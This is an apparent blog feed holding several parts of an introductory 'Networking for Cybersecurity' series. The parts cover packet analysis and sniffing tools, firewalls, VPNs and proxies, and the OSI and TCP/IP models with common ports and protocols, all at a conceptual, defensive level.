With these five parts, you now understand how data moves, how names resolve, how systems are protected, how traffic is analyzed, and how networks are discovered. These skills will help you navigate penetration testing, incident response, SOC work, secure development, and deeper cybersecurity topics like malware analysis, threat hunting, and advanced protocol security.

You now have a complete networking foundation for your cybersecurity journey.

Networking for Cybersecurity (Part 4): Packets, Sniffing & Traffic Analysis

Elvin Seyidov — Wed, 10 Dec 2025 15:53:42 +0000

1. Introduction: Seeing What’s Really Happening on the Network

Packet analysis is one of the most important practical skills in cybersecurity. Logs and dashboards show summaries, but packets show the truth. Every attack, every request, every connection and every mistake is visible at the packet level.

When you capture packets, you are looking directly at how devices communicate: the IPs they talk to, the protocols they use, the headers they send, and sometimes even the raw data itself. This is how you detect abnormalities, debug issues, confirm attacks and understand network behavior in real detail.

Tools like Wireshark and tcpdump let you “see inside the network” instead of guessing. For cybersecurity, this visibility is essential. Without analyzing packets, you're working blind.

2. What Network Packets Contain (Headers, Data, Metadata)

Every piece of network communication is broken into packets. A packet is basically a small container with information that routers, switches and systems use to deliver data correctly.

A packet has two main parts.

Headers
These contain control information used for delivery. Examples: source IP, destination IP, ports, protocol, sequence numbers and flags. Headers tell the network how to route, track and interpret the packet.

Payload (Data)
The actual content being sent. Could be an HTTP request, DNS query, TLS handshake or any other application data.

Metadata
Extra details generated during transmission or capture. Examples: timestamps, capture size, interface name, packet length and network path information. Metadata helps analysts understand timing, patterns and context.

3. Packet Structure: Ethernet, IP, TCP/UDP Explained

A network packet is built in layers. Each layer adds its own header so the packet can travel across different parts of the network. Understanding these layers helps you read raw traffic in tools like Wireshark.

Ethernet (Layer 2)
This is the lowest visible layer in most packet captures. It includes source and destination MAC addresses. Ethernet frames operate inside local networks.

IP (Layer 3)
This layer provides addressing for moving packets across different networks. The IP header includes source IP, destination IP, TTL, protocol type and fragmentation details.

TCP or UDP (Layer 4)
This layer adds transport information.
**TCP **includes sequence numbers, acknowledgments, flags (SYN, ACK, FIN), and handles reliable delivery.
**UDP **is simpler and contains only ports and length. No reliability features.

Application Data (Layer 7)
This is the actual content like HTTP, DNS, TLS or any other protocol data. Sometimes readable in plaintext (HTTP), sometimes encrypted (HTTPS).

The packet structure always follows the same order:

Ethernet header → IP header → TCP/UDP header → Application data

4. Tools for Packet Capture: Wireshark, tcpdump, Tshark

To analyze network traffic, you need tools that can capture and inspect packets. The three most important tools in cybersecurity are Wireshark, tcpdump and Tshark. They all capture the same data but in different ways.

Wireshark
A graphical packet analysis tool. Shows packets in a readable interface with color-coding, filters and protocol details. Ideal for learning, investigating incidents and deep inspection.

tcpdump
A command-line tool for capturing packets. Lightweight, fast and commonly used on servers. Perfect for quick captures, remote troubleshooting and environments without a GUI.

Tshark
The command-line version of Wireshark. Offers advanced filtering and scripting options. Useful for automated analysis, logs, or large-scale captures.

In short:
Wireshark is best for visual analysis.
tcpdump is best for quick captures.
Tshark is best for automation and scripting.

5. How Packet Sniffing Works (Promiscuous Mode & Mirror Ports)

Packet sniffing means capturing network traffic so you can see what devices are sending and receiving. Normally, a network interface only sees packets meant for it, but sniffing tools use special methods to capture more.

Promiscuous Mode (for wired Ethernet or Wi-Fi)

Normal network card behavior: Your device only receives packets meant for its MAC address.
Promiscuous mode: Your device receives every packet the interface can see, even if it is not meant for you.
Limitations: On modern switches, this does not give you all traffic on the network, because switches isolate traffic.
You only see what reaches your port.

Monitor Mode (Wi-Fi only)

Promiscuous Mode = “see all packets addressed to this interface”
Monitor Mode = “listen to the radio waves directly”

Monitor mode lets your Wi-Fi card capture:

Raw wireless frames
Beacons
Management frames
Traffic between other devices
Hidden networks
Access point broadcasts

You stop being a participant in the Wi-Fi network. You turn into a radio scanner, listening to everything in the air.
Why different from promiscuous mode? Because Wi-Fi is broadcast. If you go into monitor mode, you hear all radio traffic on that channel, not just packets addressed to you.

Port Mirroring / SPAN (on switches)

On wired networks with switches, you cannot normally see other people’s traffic.
Port Mirroring (SPAN) is the solution: The switch creates a copy of traffic from one port or VLAN. The copy is sent to another port where your sniffing tool listens

Why it exists:
Switches isolate traffic, so promiscuous mode is usually useless.
SPAN is the only reliable way to see full traffic in modern wired networks.

6. Analyzing Traffic Flows (Sessions, Streams, Conversations)

When you look at raw packets, the data seems chaotic. Hundreds of packets appear one after another, and it is impossible to understand the communication by reading them individually. Traffic analysis tools solve this by grouping packets into meaningful flows. These groupings help you understand who talked to whom, how long the communication lasted, and what was exchanged.

There are three main ways Wireshark and similar tools organize traffic.

Sessions
A session represents a full connection between two endpoints. For TCP, this includes the handshake, all data packets, and the closing packets. Sessions show the lifecycle of a connection: when it started, how much data moved, and how it ended. They are great for spotting repeated failed logins, suspicious connection attempts, or unusual persistence.

Streams
A stream reconstructs the actual data exchanged inside the session. Instead of looking packet by packet, a stream shows the readable conversation: full HTTP requests, DNS messages, TLS handshakes or application data. Streams answer the question “what was actually said?” within the communication.

Conversations
A conversation is a broader view. It groups traffic by IP pairs, MAC pairs, or port pairs. Conversations help you see overall communication patterns, such as which devices are talking the most, unexpected hosts communicating, or unusual port usage.

Simple mental model
A session shows the connection’s structure.
A stream shows the connection’s content.
A conversation shows the connection’s relationships.

This layered view makes traffic analysis much easier. Instead of thousands of packets, you see organized flows that tell you the story behind the network activity. It becomes much easier to spot anomalies, suspicious communications, or misconfigurations.

7. Identifying Protocols and Services from Packet Data

When analyzing traffic, one of the first things you need to understand is what protocol is being used and which service the traffic belongs to. Every packet contains clues that reveal this, even if the data inside is encrypted.

Tools like Wireshark automatically detect protocols, but it is important to understand how to recognize them yourself.

How to identify a protocol:

Port Numbers
Many protocols use well-known ports.
Examples:

80 → HTTP
443 → HTTPS
53 → DNS
22 → SSH This is the quickest way to identify a service.

Protocol Signatures
Some protocols have unique patterns in their packets.

DNS queries have a specific header format.
TLS starts with a “Client Hello” handshake.
HTTP requests start with GET, POST or HOST.

Packet Behavior
Different protocols behave differently.

TCP has a handshake (SYN, SYN-ACK, ACK).
UDP sends without handshake and usually appears shorter.
DNS traffic is small and frequent.
HTTPS traffic is encrypted and larger.

Content (when not encrypted)
If the payload is visible, you can read it.

HTTP shows URLs and headers.
DNS shows queries and responses.
FTP shows commands like USER or PASS.

Service Identification
Wireshark shows a column called "Protocol," but deeper analysis comes from matching:
IP + Port + Transport protocol + Payload pattern

Security relevance:
Identifying protocols helps you detect misuse, suspicious traffic, unexpected services running on unusual ports, or covert channels. Many attacks hide inside normal-looking traffic, so knowing what traffic "should" look like is critical.

In short:
Ports help identify the service.
Headers help identify the protocol.
Traffic patterns help identify suspicious behavior.

8. Detecting Anomalies and Suspicious Traffic Patterns

Once you understand what normal traffic looks like, the next step is spotting what doesn't look normal. Suspicious traffic rarely hides perfectly. It usually shows patterns that stand out when you analyze flows, sessions and packet behavior.

Below are the most common signs analysts look for.

Unusual Ports or Unexpected Services
If a host suddenly starts communicating over odd ports (for example, 4444, 1337, high random ports), it may indicate malware, tunneling or unauthorized tools.
Traffic on ports normally blocked or unused is a warning sign.

High Volume From a Single Host
Large bursts of traffic, repeated connections, or long continuous sessions may indicate scanning, brute-force attempts or data exfiltration.

Frequent Small Packets
Bots, scanners and malware often send many tiny packets rapidly.
Normal applications usually have more balanced traffic.

Connections to Unknown or Foreign IPs
If internal systems talk to strange or unexpected external addresses, especially in unusual regions, it deserves investigation.

Repeated Failed Connections
Constant SYN attempts without completing the handshake may indicate:

Port scanning
A denial-of-service attempt
A misconfigured or malicious script

DNS Anomalies
Large TXT records, long subdomains or extremely frequent DNS queries can indicate DNS tunneling or malware beaconing.

Encrypted Traffic That Should Not Be Encrypted
Example: encryption inside internal-only systems or between unexpected hosts. Sometimes used to hide malicious communication.

Plaintext Traffic That Should Be Encrypted
Example: credentials sent in clear HTTP.
A sign of misconfiguration or vulnerability.

Long-Lived Sessions
Malware often maintains persistent tunnels to command-and-control servers.
Normal user sessions usually have shorter lifetimes.

In short:
Normal traffic is predictable.
Suspicious traffic breaks patterns.
Anomalies are the first signs of compromise, misconfiguration or scanning.

9. Encryption and What You Can/Cannot See in Packets

Encryption changes what a packet looks like in traffic analysis. You still see the packet, but most of the meaningful application data is hidden. Understanding what remains visible is essential for both security monitoring and threat detection.

What you can see in encrypted traffic:

IP Addresses
You still see who is talking to whom. Encryption does not hide source or destination IPs.

Ports
You can see which service is being used (for example, port 443 for HTTPS).

Packet Size and Timing
Attackers can hide data but not timing and size. Patterns often reveal malware or tunneling.

TLS Handshake Information
Before encryption begins, TLS reveals metadata like:

Server Name Indication (SNI)
TLS version
Cipher suites
Certificate information This helps identify suspicious or outdated configurations.

Flow Behavior
Long-lived sessions, repeated patterns, abnormal traffic spikes, or unusual destinations are still fully visible even when encrypted.

What you cannot see in encrypted traffic:

Content
The actual message is hidden. No URLs, passwords, requests or responses.
HTTP Headers and Body
In HTTPS, both are encrypted, except SNI during handshake.
Application-Level Commands
FTP, SMTP, DNS-over-HTTPS and other encrypted protocols hide their internal commands.
User Credentials
Modern encryption prevents sniffing usernames and passwords directly.

Simple summary:
Unencrypted traffic shows everything.
Encrypted traffic hides content but exposes patterns, metadata and behavior. This is why packet analysis still matters even with encryption. Most attacks reveal themselves through traffic patterns rather than raw content.

10. Practical Traffic Analysis Examples (HTTP, DNS, TLS)

To understand packet analysis, it helps to look at how common protocols appear in real captures. These examples show what you can expect to see when analyzing HTTP, DNS and TLS traffic.

HTTP (Unencrypted Web Traffic)
HTTP is fully readable in packet captures. You can see URLs, headers, cookies and even login data if the site is not using HTTPS. A GET or POST request appears clearly in the payload.

Security note: Any sensitive information in HTTP is exposed.

Example signs:

GET /login
POST /api/user
Host: example.com
User-Agent: Chrome

DNS (Domain Name Resolution)
DNS queries and responses are small and structured.
You can see which domain is being requested, record type and the IP returned. DNS often reveals malware behavior when unusual domains or high-frequency queries appear.

Example signs:

Standard query A google.com
Standard query response A 142.250.185.100

TLS (Encrypted Web Traffic)
TLS encrypts the content, but you can still see the handshake.
The handshake includes:

Client Hello
Server Hello
Certificate
TLS version
Cipher suites
SNI (server name indication) showing the domain

Once encryption begins, application data becomes unreadable, but the metadata and flow patterns remain visible.

Example signs:

Client Hello (SNI: example.com)
Server Hello (TLS 1.3)
Encrypted Application Data

HTTP shows everything (good for learning, bad for security).
DNS shows where traffic is going and is often abused by malware.
TLS hides content but leaves powerful metadata for detecting threats.

11. Legal, Ethical, and Privacy Considerations in Sniffing

Packet sniffing is a powerful capability, and with that power comes serious responsibility. Capturing network traffic can expose sensitive data, private communications and internal system details. Because of this, packet analysis is tightly controlled in both legal and ethical terms.

The key rule is simple:
You are only allowed to sniff traffic that you have explicit authorization to capture.

Authorization
You need permission from the network owner. Without this, packet sniffing is illegal in almost every country.

Privacy
Even in authorized environments, analysts should avoid looking at unnecessary personal data. Many organizations mask or filter sensitive fields.

Scope
Sniff only the systems or networks defined in your assignment. Going outside the approved scope is a violation of trust and policy.

Data Handling
Captured traffic must be stored securely. Packet captures often contain credentials, tokens, internal IPs and confidential information.

Workplace Policies
Companies typically require written approval for sniffing, even for internal troubleshooting. This protects both the company and the analyst.

Legal Frameworks
Depending on your region, laws such as GDPR, HIPAA or local privacy regulations dictate how traffic data must be handled and when it can be collected.

Ethical Behavior
Just because you can see something in traffic does not mean you should. Ethical cybersecurity means respecting users, systems and privacy.

Sniffing without permission is illegal.
Sniffing with permission must still be controlled and respectful.
Privacy is always part of the security process.

12. Summary and What Comes Next (Part 5 Preview)

In this part, you saw how network traffic really looks at the packet level. We explored Ethernet, IP, TCP/UDP headers, packet capture tools, analysis techniques, encrypted vs unencrypted traffic, and how anomalies reveal security issues. This is where cybersecurity meets real data — the raw evidence of how systems communicate.

In Part 5, we move from observing traffic to actively mapping and identifying systems. You'll learn scanning, enumeration, and fingerprinting techniques, how tools like Nmap and Masscan discover services, and how attackers and defenders both use these techniques to understand network exposure.

Next: Networking for Cybersecurity (Part 5): Scanning, Enumeration & Fingerprinting

Networking for Cybersecurity (Part 3): Firewalls, VPNs & Proxies

Elvin Seyidov — Tue, 09 Dec 2025 18:40:28 +0000

1. Introduction: Network Barriers and Secure Access

Firewalls, VPNs and proxies are the core tools that control how traffic enters, leaves and moves inside a network. They decide who gets access, how data is protected on the way, and how users connect securely from anywhere. In cybersecurity, these systems act as barriers, shields and traffic controllers.

Firewall
Controls and filters traffic. Blocks or allows based on rules.

VPN
Creates an encrypted tunnel so data travels securely.

Proxy
Sits in the middle and forwards requests, often hiding the client.

2. What Firewalls Actually Do (Traffic Filtering Basics)

A firewall’s main job is to inspect network traffic and decide whether to allow it or block it. It does this by checking IP addresses, ports, protocols and sometimes even the application data.

Firewalls follow a simple logic.
If traffic matches the rules, it is allowed. If it doesn’t, it is blocked.

Key things firewalls look at:

Source IP and destination IP
Where the traffic comes from and where it's going.
Ports
Which service the traffic is trying to reach.
Protocol
Whether it’s TCP, UDP, ICMP or something else.
Direction
Inbound (coming into the network) or outbound (leaving the network).
Action
Allow, block or log.

3. Types of Firewalls (Packet, Stateful, Next-Gen)

Packet-Filtering Firewall
A packet filtering firewall is a network security device that filters incoming and outgoing network packets based on a predefined set of rules. Rules are typically based on IP addresses, port numbers, and protocols. By inspecting packet headers, the firewall decides if it matches an allowed rule; if not, it blocks the packet.

A Perimeter Firewall
A perimeter firewall is a security device that filters traffic, acting as a barrier between an internal network and untrusted external networks.

It applies a set of rules to control access based on criteria like IP addresses, domain names, protocols, ports, and the content of the traffic. By permitting or denying traffic, a perimeter firewall protects the network from unauthorized access and cyber threats.

A Proxy Firewall
A proxy firewall is a network security device that serves as an intermediary between user requests and the resources they access, filtering messages and data exchange at the application layer.

By evaluating and transferring data packets on behalf of users, a proxy firewall ensures direct connections with external servers are never established, which increases security by concealing internal network addresses.

A Host-based Firewall

A host-based firewall works as a shield directly on a server or endpoint device. It analyzes and directs network traffic flow. Its primary role is to enforce security policies that determine what kind of data packets can enter or leave the host system.

Stateful Firewall
Remembers active connections. Allows return traffic automatically. More secure than packet-filtering because it understands sessions.

Next-Generation Firewall (NGFW)
The most advanced. Looks inside the traffic at the application layer. Can inspect HTTP, DNS, TLS, detect malware patterns, block apps and detect suspicious behavior.

4. Firewall Rules, Policies & Real Security Use Cases

Firewall rules define what traffic is allowed and what traffic is blocked. Policies group these rules to create a security strategy for different parts of a network.

A rule usually checks:

Source IP
Destination IP
Port
Protocol
Direction
Action (allow or block)

Common real-world uses:

Allow only ports 80 and 443 to a web server
This exposes only the services required.
Allow SSH (port 22) only from your own IP
This prevents brute-force attacks from the internet.
Block SMB (445) on the network edge
This stops worms and ransomware from spreading.
Block all inbound traffic by default
Then allow only what is truly needed.
Restrict outbound traffic for internal systems
Prevents malware from calling external servers.

5. What a VPN Is and Why Cybersecurity Depends on It

A VPN creates a secure, encrypted tunnel between your device and another network. Instead of sending traffic directly over the internet, the traffic is wrapped, encrypted and then sent through this private tunnel.

The main purpose of a VPN is simple. It protects data from being seen or modified while it travels across untrusted networks. Without a VPN, anyone on the same network or along the route could inspect or intercept the traffic.

A VPN also hides your real IP by replacing it with the VPN server’s IP. This provides privacy and makes tracking harder.

Cybersecurity depends on VPNs because they:

Protect remote workers who connect over public Wi-Fi.
Secure access to internal company systems.
Stop attackers on local networks from sniffing or manipulating traffic.
Encrypt sensitive data end-to-end across the internet.
Help isolate networks and enforce access control.

6. VPN Protocols: IPSec, OpenVPN, WireGuard

VPNs rely on specific protocols to create secure tunnels. These protocols define how traffic is encrypted, authenticated and transported. The three most important ones in modern cybersecurity are IPSec, OpenVPN and WireGuard.

IPSec
A very mature protocol used mostly in corporate and site-to-site VPNs. Works at the network layer. Strong, stable and widely supported but can be complex to configure.

OpenVPN
Runs over TLS. Very flexible and works almost anywhere. Common in commercial VPN services. Slightly slower than WireGuard but extremely reliable and battle-tested.

WireGuard
A newer protocol designed to be fast, simple and secure. Uses modern cryptography and has a small codebase, making audits easier. Often the fastest and easiest to configure.

7. VPN Security Concepts: Tunneling, Encryption & Split Tunneling

VPN security is built on a few core ideas. These concepts explain how VPNs protect data and how attackers are kept out.

Tunneling
Your traffic is wrapped inside another packet and sent through a private path. This hides your internal data from the outside network.

Encryption
The wrapped data is encrypted using strong algorithms. Even if someone captures the traffic, they cannot read it without the key.

Authentication
VPN endpoints verify each other before the tunnel is created. This prevents impostors from pretending to be a valid server or client.

Integrity
The VPN ensures data is not modified on the way. Protocols use HMAC or similar methods to detect tampering.

Split Tunneling
Only selected traffic goes through the VPN, while other traffic goes directly to the internet. This improves speed but reduces security if not configured carefully.

Full Tunnel
All traffic goes through the VPN. This provides maximum protection but uses more bandwidth.

Tunneling hides the data path.
Encryption protects the data itself.
Split tunneling decides what goes inside the tunnel.

8. What Proxies Are and How They Work

A proxy is a server that sits between a client and the destination. Instead of your device talking directly to a website or service, it sends the request to the proxy, and the proxy forwards it on your behalf.

The core idea:
The destination never sees your real identity. It sees the proxy instead.

How it works in simple steps:

Your device → sends request to proxy
Proxy → forwards request to the website
Website → sends response back to proxy
Proxy → sends response back to your device

Why proxies matter in cybersecurity:

They hide internal IPs from the outside world.
They filter and control outbound traffic.
They block access to malicious or restricted sites.
They allow logging and monitoring of traffic.
They help isolate internal networks.

A proxy does not create encryption or a secure tunnel (unlike a VPN). It only forwards and filters traffic, acting like a middleman.

9. Proxy Types: Forward, Reverse, Transparent, SOCKS5

There are several types of proxies, each used for different purposes. The idea is always the same: the proxy sits in the middle, but what it does and who it serves depends on the type.

Forward Proxy
Used by clients to access the internet.
Hides the user from the websites they visit.
Common in companies to control outbound traffic.

Reverse Proxy
Used by servers.
Hides internal servers from the outside world.
Handles load balancing, caching and protection against attacks.

Transparent Proxy
Invisible to the user.
Traffic is intercepted and filtered without user configuration.
Used in schools, companies and ISPs.

SOCKS5 Proxy
A more flexible proxy that works at a lower level.
Can handle almost any type of traffic (not just HTTP).
Good for applications, games, P2P and tools that need raw forwarding.

Forward proxy protects users.
Reverse proxy protects servers.
Transparent proxy controls traffic silently.
SOCKS5 is the more flexible, general-purpose proxy.

10. VPN vs Proxy: Security, Privacy, and When to Use Each

VPNs and proxies both sit between you and the destination, but they solve different problems. The main difference is that VPNs secure your traffic, while proxies mainly relay or filter it.

VPN
Encrypts all your traffic.
Protects data on public Wi-Fi or untrusted networks.
Hides your IP and secures the entire connection.
Used for secure remote work, privacy, and accessing internal systems.

Proxy
Does not encrypt traffic.
Only forwards specific requests (like web or SOCKS).
Hides your IP but does not protect your data.
Used for filtering, caching, access control, or hiding client identity.

11. Modern Alternatives: Zero Trust Network Access (ZTNA)

**ZTNA **is the modern replacement for traditional VPNs. Instead of giving a user full network access once they connect, ZTNA gives access only to specific apps, and only after continuous verification.

The core idea is simple:
Never trust anyone by default, even if they are inside the network. Always verify identity, device health and context before allowing access.

How ZTNA works:
A user logs in with strong authentication.
ZTNA checks who they are and what device they use.
Instead of opening the whole network, it gives access only to the exact application required.
Access is rechecked constantly, not just at login.

Why cybersecurity uses ZTNA:

It reduces lateral movement.
It limits damage if an account is compromised.
It removes the need for broad VPN access.
It protects internal services without exposing them directly.
It fits modern cloud and remote-work environments.

12. Summary and What Comes Next (Part 4 Preview)

In this part, we explored how networks control, secure, and filter traffic using firewalls, VPNs, proxies, tunneling, and Zero Trust principles. You learned how access is granted, how traffic is encrypted through VPN tunnels, how proxies route requests, and how modern networks limit exposure through segmentation and policy enforcement. These are the defensive layers that sit between the user and the internal network.

In Part 4, we go deeper into what actually flows through the network — packets. You will learn packet structure, sniffing techniques, how tools like Wireshark and tcpdump capture traffic, and how analysts interpret live data. Packet-level understanding is crucial for detecting attacks, troubleshooting, and performing real security analysis.

Next: Networking for Cybersecurity (Part 4): Packets, Sniffing & Traffic Analysis

Networking for Cybersecurity (Part 1): OSI, TCP/IP, Ports & Protocols

Elvin Seyidov — Tue, 09 Dec 2025 16:20:19 +0000

1. Introduction to Networking for Cybersecurity

Before you can understand attacks, defenses, tools, encryption, or even how the internet works, you must understand networking. Every cybersecurity skill - packet analysis, scanning, exploitation, incident response, forensics, malware analysis, SOC monitoring - depends on knowing how computers communicate.

Most beginners jump straight into tools like Nmap or Wireshark without truly understanding what is happening under the hood. But in reality, cybersecurity is built on networking, and without this foundation, many concepts will feel confusing later.

In this part, we start from the very beginning:

how communication is structured (OSI Model)
how the real internet works (TCP/IP Model)
how data flows across layers
what ports, protocols, and services actually mean
how tools identify systems and vulnerabilities

Understanding these basics will help you make sense of real-world attacks such as:

MITM (Layer 2)
DNS spoofing (Layer 7)
SYN flood DDoS (Layer 4)
Port scans and fingerprinting
VPN and firewall behavior

2. The OSI Model: The 7 Layers Explained Clearly

While learning networking for cybersecurity, I realized the OSI model is the easiest way to understand how data travels. It is not used exactly like this in real networks, but it is still the best mental map for seeing where attacks happen and where defenses work.

The OSI model has 7 layers. Each layer does a specific job and passes data to the layer above or below it. Understanding these layers helps make sense of packets, protocols, and security tools.

Layer 1: Physical

This is the actual hardware and electrical signals.
Examples: cables, Wi-Fi radio waves, switches.
If something is wrong here, nothing else works.

Layer 2: Data Link

Responsible for MAC addresses and local network communication.
Examples: ARP, Ethernet frames.
A lot of attacks happen here because it is close to the hardware.

Layer 3: Network

Moves data between networks using IP addresses.
Examples: IPv4, IPv6, routing.
Most routing logic and many attacks (like IP spoofing) live here.

Layer 4: Transport

Provides connection and reliability between systems.
Examples: TCP, UDP.
Important for ports, scanning, sessions, and traffic analysis.

Layer 5: Session

Controls opening and closing communication sessions.
Not very visible in day-to-day work, but good to know.

Layer 6: Presentation

Handles formatting, encryption, compression.
Examples: TLS lives here conceptually.

Layer 7: Application

The layer we see as users.
Examples: HTTP, DNS, SMTP, FTP.
Most high-level attacks happen here.

I used to think OSI was just theory, but once I saw how different attacks map to layers, it finally made sense. When we get to scanning, sniffing, routing, VPNs, and traffic analysis later, the OSI model makes everything easier to understand. OSI is theory → used for learning, explaining, analyzing network issues.

3. The TCP/IP Model: The Real-World Version of OSI

After understanding the OSI model, I learned that real networks do not actually use all seven layers. The real internet uses the TCP/IP model, which is simpler and more practical. It is the model that routers, operating systems, firewalls, and most tools actually follow.

Instead of seven layers, the TCP/IP model has four. Each one groups several OSI layers together. This makes it easier to understand how the internet works in real life.

Layer 1: Link Layer

Covers OSI Layer 1 and 2.
Handles MAC addresses, Ethernet frames, Wi-Fi, ARP, switches.
Anything that deals with local network communication belongs here.

Layer 2: Internet Layer

Matches OSI Layer 3.
Handles IP addresses and routing between networks.
Examples: IPv4, IPv6, ICMP, routing decisions.

Layer 3: Transport Layer

Matches OSI Layer 4.
Responsible for ports, TCP, UDP, sessions, reliability.
Important for understanding scanning, traffic analysis, and attacks.

Layer 4: Application Layer

Combines OSI Layers 5, 6, and 7.
Everything the user interacts with is here.
Examples: HTTP, HTTPS, DNS, SMTP, FTP, SSH.

When I looked at OSI at first, it felt too academic. The TCP/IP model helped everything click, because it is what Linux, Windows, routers, firewalls, and tools like Wireshark actually use. Whenever I analyze packets or map traffic, this is the model I keep in mind. TCP/IP is implementation → used by real protocols and devices (TCP, IP, HTTP, DNS, etc.)

4. How Data Moves Across Layers

When a computer sends data (a message, HTTP request, file, anything), the data travels through layers. Each layer adds its own wrapper, like putting a gift into multiple boxes.

This wrapping process is called Encapsulation. When the data arrives and layers unwrap it, that’s Decapsulation.

4.1 Encapsulation: How Data Leaves Your Computer
When you send something (example: open a website), this is what happens:

(Application Layer – your app data)

You type URL → browser creates HTTP request
This is the raw data your app wants to send
No technical wrapper yet

(Transport Layer – makes sure data arrives)

TCP or UDP adds:
- source port (your app number)
- destination port (which service on the server)
- sequence numbers (if TCP)
Now your data becomes a Segment (TCP) or Datagram (UDP)

(Network Layer– finds the destination computer)

IP adds:
- source IP
- destination IP
Now it becomes a Packet

(Data Link Layer – prepares it for the physical network)

Ethernet/Wi-Fi adds:
- source MAC
- destination MAC
Now it becomes a Frame

(Physical Layer – sends electrical/light/radio signals)

Converts the frame into bits (0s and 1s)
Sends signals over cable, Wi-Fi, fiber, etc.
Each layer adds its own header.
Top-to-bottom = wrapping.

4.2 Decapsulation: How Data Arrives at the Other End

On the receiving device, the reverse happens:

Physical Layer → receives bits
Data Link Layer → removes MAC header
Network Layer → removes IP header
Transport Layer → removes TCP/UDP header
Application Layer → your browser finally sees the HTTP response

Bottom-to-top = unwrapping.

4.3 Why Encapsulation Matters in Cybersecurity
This is where the real magic happens for security people.

Every attack lives on a specific layer

ARP spoofing → Layer 2
IP spoofing → Layer 3
SYN flood → Layer 4
SQL injection → Layer 7

You can't understand attacks if you don’t understand where the data gets wrapped/unwrapped.

Firewalls use this structure

Packet filters (L3) check IP addresses
Stateful firewalls (L4) check TCP/UDP behavior
WAF (L7) checks HTTP content

Attackers abuse headers

Fake MAC
Fake IP
Fake ports
Malformed packets

Everything an attacker does is related to manipulating these layers.

5. Ports and Services: How Systems Communicate

When devices talk to each other, they don’t just send data randomly.
They need to know which program the data belongs to.

A port is basically a door number inside a computer.

IP address = the house
Port = the room inside that house
Protocol (TCP/UDP) = how you knock on the door

This is how systems understand which service should receive incoming data.

5.1. What a Port Really Is

Every app or service listens on a specific port.

Examples:

80 → HTTP
443 → HTTPS
22 → SSH
53 → DNS

So if you type a website URL:

Your computer talks to the server’s IP:443
The server knows “Oh, port 443? That’s my HTTPS service.”

Ports are just numbers from 0–65535.

5.2. Two Types of Ports: Well-Known & Dynamic

(1) Well-Known Ports (0–1023)

Used by important system services.

Examples:

80 (HTTP)
443 (HTTPS)
22 (SSH)
25 (SMTP)
53 (DNS)

These are the ones cybersecurity people always memorize.

(2) Registered Ports (1024–49151)

Used by applications.

Examples:

3306 (MySQL)
5432 (PostgreSQL)
27017 (MongoDB)

(3) Dynamic Ports (49152–65535)

Used temporarily by your system for outgoing connections.

When your browser connects to google.com:443, it uses something like:

Client: 192.168.1.10:55921  →  Server: 142.250.185.100:443

Your side uses a random high port, server uses fixed service port.

Here’s how I personally remember ports:

80/443 → Web
22 → SSH (remote command access)
53 → DNS (internet phonebook)
25/587/465 → Email
3306/5432 → Databases
445 → SMB (Windows file sharing, dangerous)

6. Common Protocols Every Security Learner Must Know

This is one of the most important parts for cybersecurity. If you know protocol + port + purpose + risk, you can understand 80% of real-world attacks.

(Web) HTTP – Port 80

Normal web traffic, not encrypted, easy to intercept.

(Web) HTTPS – Port 443

Encrypted using TLS, secure version of HTTP.

(Web) DNS – Port 53 (UDP/TCP)

Domain → IP resolver. Target of poisoning, hijacking, tunneling.

(Remote Access) SSH – Port 22

Secure remote shell. Heavy brute-force target.

(Remote Access) RDP – Port 3389

Windows remote desktop. Major ransomware entry point.

(Remote Access) Telnet – Port 23

Old remote access, not encrypted, insecure.

(Network Infrastructure) ARP – No port (Layer 2)

IP → MAC mapping. Can be spoofed → MITM attacks.

(Network Infrastructure) ICMP – No port

Ping, traceroute. Used for discovery and ICMP floods.

(Network Infrastructure) DHCP – Ports 67/68

Gives IP addresses automatically. Rogue DHCP attacks possible.

(File Transfer & Services) FTP – Port 21

File transfer. No encryption, insecure by default.

(File Transfer & Services) SFTP – Port 22

Secure file transfer over SSH. Encrypted.

(File Transfer & Services) SMB – Port 445

Windows file sharing. Exploited by ransomware (WannaCry).

(File Transfer & Services) SMTP – Port 25

Sending emails.

(File Transfer & Services) IMAP – Port 143

Reading emails from server.

(File Transfer & Services) POP3 – Port 110

Downloading emails.

(File Transfer & Services) NTP – Port 123

Time synchronization across devices. Used in DDoS amplification.

Which Protocol Matters Most in Cybersecurity?

HTTPS / TLS — encryption, certificates, MITM protection
DNS — poisoning, tunneling, hijacking
SSH — brute force, key management
SMB — network worms, ransomware
ARP — LAN attacks, spoofing, MITM

My Personal Quick Notes (Easy Memory)

HTTP / HTTPS → Web
DNS → Phonebook
SSH → Secure remote access
RDP → Windows remote desktop
SMB → Windows file sharing, risky
FTP → Old, unencrypted, avoid
ARP → LAN mapping
DHCP → Gives IP addresses
ICMP → Ping

Protocols are just rules for communication.
For cybersecurity, each protocol means a new attack surface.

7. TCP vs UDP: Security and Behavior Differences

TCP and UDP are the two main transport protocols. They decide how data is delivered between devices.
I think of them like two different delivery styles:

TCP → a careful delivery guy
UDP → a fast delivery guy Both are useful, but in cybersecurity they behave very differently.

TCP in Simple Words (Reliable)
TCP checks everything. It cares about correctness.
Key Features

Connection-based
3-way handshake (SYN → SYN-ACK → ACK)
Guarantees delivery
Retransmits lost packets
Maintains order
Used for important data

Used by

HTTPS
HTTP/1.1
SSH
FTP
Email (SMTP, IMAP, POP3)

Security Perspective

Can be targeted by:
- SYN Flood (DDoS)
- RST injection
- Session hijacking
State-based, so firewalls track TCP connections
Harder to spoof because of sequence numbers

UDP in Simple Words (Fast)
UDP = fast but unreliable. UDP does not care. It just throws the data and runs.
Key Features

No handshake
No connection
No guarantee of delivery
No retransmission
Lightweight, minimal overhead

Used by

DNS
Video streaming
Online gaming
VoIP (calls)
DHCP

Security Perspective

Easy to spoof (no connection state)
Used in many DDoS attacks:
- DNS amplification
- NTP amplification
Hard for firewalls to track (stateless)
No guarantee → attackers can send huge volumes cheaply

8. How Firewalls and Tools Use Ports & Protocols

Firewalls are one of the most important security tools. They use IP addresses, ports, and protocols to decide:

Allow this traffic? Block it? Inspect it? Log it?

Firewalls Think in Layers

Firewalls don’t see the whole OSI model deeply — they focus on specific parts:

Layer 3 → IP addresses
Layer 4 → Ports + TCP/UDP
Layer 7 → Application protocols (HTTP, DNS, etc.)

So their logic is basically:

Who is talking (IP)?
Through which door (port)?
Using what method (TCP/UDP/protocol)?

1. Basic Firewall Rules (L3/L4)

Firewalls filter traffic using:

IP Rules

Allow/Block specific IPs
Allow subnets (e.g., 192.168.1.0/24)

Port Rules

Allow 80/443 (web)
Allow 22 only for admins
Block 23 (Telnet), 445 (SMB), etc.

Protocol Rules

Allow TCP
Block UDP
Allow only certain ICMP types

Classic filtering = IP + Port + Protocol

